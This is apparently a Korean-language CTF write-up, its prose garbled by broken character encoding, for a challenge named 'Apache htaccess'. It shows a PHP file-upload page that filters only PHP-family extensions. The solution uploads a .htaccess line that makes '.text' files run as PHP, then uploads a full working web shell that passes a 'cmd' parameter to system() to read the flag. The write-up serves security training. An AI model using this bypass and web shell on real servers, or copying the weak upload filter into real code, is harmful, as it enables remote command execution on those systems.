[2025-07-27] Apache htaccess
๐ฆฅ ๋ณธ๋ฌธ
- index.php
<html>
<head></head>
<link rel="stylesheet" href="/static/bulma.min.css" />
<body>
<div class="container card">
<div class="card-content">
<h1 class="title">Online File Box</h1>
<form action="upload.php" method="post" enctype="multipart/form-data">
<div class="field">
<div id="file-js" class="file has-name">
<label class="file-label">
<input class="file-input" type="file" name="file">
<span class="file-cta">
<span class="file-label">Choose a file...</span>
</span>
<span class="file-name">No file uploaded</span>
</label>
</div>
</div>
<div class="control">
<input class="button is-success" type="submit" value="submit">
</div>
</form>
</div>
</div>
<script>
const fileInput = document.querySelector('#file-js input[type=file]');
fileInput.onchange = () => {
if (fileInput.files.length > 0) {
const fileName = document.querySelector('#file-js .file-name');
fileName.textContent = fileInput.files[0].name;
}
}
</script>
</body>
</html>
์์ ์ฝ๋๋ <input type=โfileโ>
๋ณ๊ฒฝ์ ๊ฐ์งํ์ฌ .file-name
์์์ ํ์ผ ์ด๋ฆ์ ํ์ํ๋ ์ฝ๋์ด๋ค. ์ฆ, ์ฌ์ฉ์๊ฐ ์
๋ก๋ํ ํ์ผ์ ์ ํํ๋ฉด ํ์ผ ์ด๋ฆ์ ํ๋ฉด์ ํ์ํ๋ค.
- upload.php
<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");
if (isset($_FILES)) {
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
$temp = explode(".", $name);
$extension = end($temp);
if(in_array($extension, $deniedExts)){
die($extension . " extension file is not allowed to upload ! ");
}else{
move_uploaded_file($tmp_name, "upload/" . $name);
echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
}
}
}else {
echo "File is not selected";
}
?>
์์ ์ฝ๋๋ ํ์ผ์ ์ ๋ก๋ํ์ ๋ ์๋ํ๋ ์ฝ๋์ด๋ค.
<input type=โfileโ>
์์ ์ ๋ณด๋ฅผ ๊ฐ์ ธ์จ๋ค.
- $file์ ํด๋น ํ์ผ ์ ๋ณด๋ค
- $file[โerrorโ]๋ ์ ๋ก๋ ๋์ค ๋ฐ์ํ ์๋ฌ ์ฝ๋
- $file[โnameโ]๋ ํ์ผ๋ช
- $file[โtmp_nameโ]๋ ํ์ผ์ด ์์๋ก ์ ์ฅํ ํ์ผ ๊ฒฝ๋ก
explode()๋ฅผ ํตํด .
๋ฅผ ๊ตฌ๋ถํ์ฌ ์ชผ๊ฐ๊ณ ๋ง์ง๋ง ๋ถ๋ถ์ด ํ์ฅ์๊ฐ ๋๋ค. ํ์ฅ์๊ฐ ํํฐ๋ง์ ํต๊ณผํ๋ฉด ์ ๋๋ก ์ ์ฅ์ด ๋๊ณ ์ ์ฅ๋ ์์น๋ฅผ ์ด์ฉ์์๊ฒ ๋ณด๋ด์ค๋ค. ์ฆ, ํํฐ๋ง์ ์ฐํํด์ผ ํ๋ค.
์ ๋ชฉ ์ฒ๋ผ .htaccess ํ์ผ์ ์ด์ฉํด์ผ ํ๋ค. ํด๋น .htaccess๋ฅผ ๋ฎ์ด์์์ ํ์ฅ์๋ฅผ ์ฐํํด์ผ ํ๋ค.
ํ์ด
-
.htaccess ํ์ผ์ ๋ง๋ ๋ค.
ADDType application/x-httpd-php .text
- text ํ์ผ์ php ํ์ผ๋ก ์ธ์ํ๊ฒ ํ๋ค.
- .htaccess๋ฅผ ์ ๋ก๋ ํ์ฌ ์์ ๊ฐ์ ์ฝ๋๋ฅผ ์ค์ ํ๋ค
- ์น์
ธ ์ฝ๋๋ฅผ text ํํ๋ก ์
๋ก๋ํ๋ค
- hack.text
<html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> </pre> </body> </html>
- ์ค์น๋ ์ฃผ์๋ก ๋ค์ด๊ฐ์ ์น์ ธ์ ์คํ์ํค๊ณ flag๋ฅผ ํ๋ํ๋ค.
Leave a comment